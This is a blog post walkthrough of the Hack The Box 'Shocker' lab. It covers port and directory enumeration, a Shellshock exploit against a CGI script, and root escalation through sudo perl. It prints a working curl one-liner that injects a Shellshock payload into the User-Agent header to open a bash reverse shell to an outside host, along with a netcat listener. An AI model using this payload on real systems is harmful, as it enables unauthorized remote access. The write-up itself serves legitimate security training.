HTB: Shocker Writeup w/o Metasploit

Tobi Owolabi
4 min readDec 2, 2021

--

As always, we start out by making sure we have connectivity to the box via ping. Once confirmed we launch a series of nmap scans.

Recon

nmap -Pn -n -sV -A -T4 --open 10.10.10.56

We have two ports open, port 80 (http) and port 2222 (ssh). Typically, I like to enumerate webservices first but that 2222 looked good for a potential exploit. Unfortunately I was not able to get anything out of it. I tried a few ssh enumeration scripts, but everything led me to a dead end. I would be interested to learn if someone else was able to exploit that service successfully.

Enumeration

This brought me back to port 80. I checked out the page, there was not much going on there. Looked at the source code and did not find any info to move forward with. As a result, I started up gobuster (directory enumeration tool) to see if there were any other web pages we could analyze. Gobuster showed us a few pages that responded with access denied. The only page that delivered a 200-response status was the index.html webpage, which is the same page we saw when visiting the website.

gobuster dir -u 10.10.10.56 -w /usr/share/wordlists/dirb/common.txt

Now I have to be honest. Before doing this lab, I was not fully aware of the CGI vulnerability in some webservers that use it. I stumbled upon it because I did a quick google search on “/cgi-bin/.” Why? Because it was one of the pages gobuster returned as denied access. I just wanted to know more about it. If this would have led me to a dead end, I would have started to enumerate the operating system. But it did not. My google queries eventually brought me to this blog where I learned about shellshock’s issue with arbitrary code execution (ACE). Briefly, shellshock is a bug in bash. It allows remote users to execute commands from a server such as the one we are attacking now. And this is because of how the server is storing requests from users. Some webservers store user information as variables (on the server) so it can be used for other functions. Shellshock occurs when those variables are executed in bash. This is exactly what we are going to try and do to exploit this system.

But before we do this, we need to find the script that the webserver may be using to interact with external services. We’ll use that to exploit the web service. Since gobuster did not find any scripts, I am going to try another directory enumeration with feroxbuster.

feroxbuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.56/cgi-bin/user.sh -x sh,cgi,pl

feroxbuster returned a /cgi-bin/user.sh script. If you navigate to that page using 10.10.10.56/cgi-bin/user.sh it downloads a file.

user.sh file

This user.sh is obviously a script running the uptime command. Since we are now aware of the Shellshock vulnerability let us try to exploit it. We will have to send a request to the page that is using a cgi script. I tried to send the request to http://10.10.10.56/cgi-bin/ since that is where the user.sh script was but that failed. So, I sent the request to http://10.10.10.56/cgi-bin/user.sh and my exploit worked.

I am using curl to run the exploit; I try to do everything manually if I can. With curl we are just going to alter the “User Agent” Header and replace it with one liner to get a reverse shell using netcat.

curl -H “User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.8/443 0>&1” http://10.10.10.56/cgi-bin/user.sh

As you can see the one liner (top half of terminal) worked, and below we used netcat (nc -lvnp 443) to catch a shell on port 443. We are logged in as shelly.

Privilege Escalation

A good habit after getting access to a system is checking what permissions or special permissions you have. We can check that using sudo -l on linux OS, and whoami /priv on Windows OS. Since this is a Linux box, we’ll use sudo -l. Running “sudo -l” shows that we can run perl as root. Fortunately, we can run commands using perl, so we will try to execute bash using our sudo perl “powers.”

pwned

We successfully obtained a root shell. Upgraded our shell using pty, and now we can grab the root (/root/root.txt) and user (/home/shelly/user.txt) flags.

Conclusion

This could have been a very simple and straightforward box or it could have been very difficult. Knowing or not knowing how the Shellshock bug behaves would have been the difference. So if you had to use this walkthrough to find the flags, it’s ok. Don’t be too hard on yourself. Study and apply what you’ve learned so you’re better prepared next time. See you later!

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Tobi Owolabi
Tobi Owolabi

Written by Tobi Owolabi

Founder of @olinesecurity 👨🏿‍🏫 Senior DevOps Engineer 👨🏿‍💻 www.olinesecurity.com/nav

No responses yet

Write a response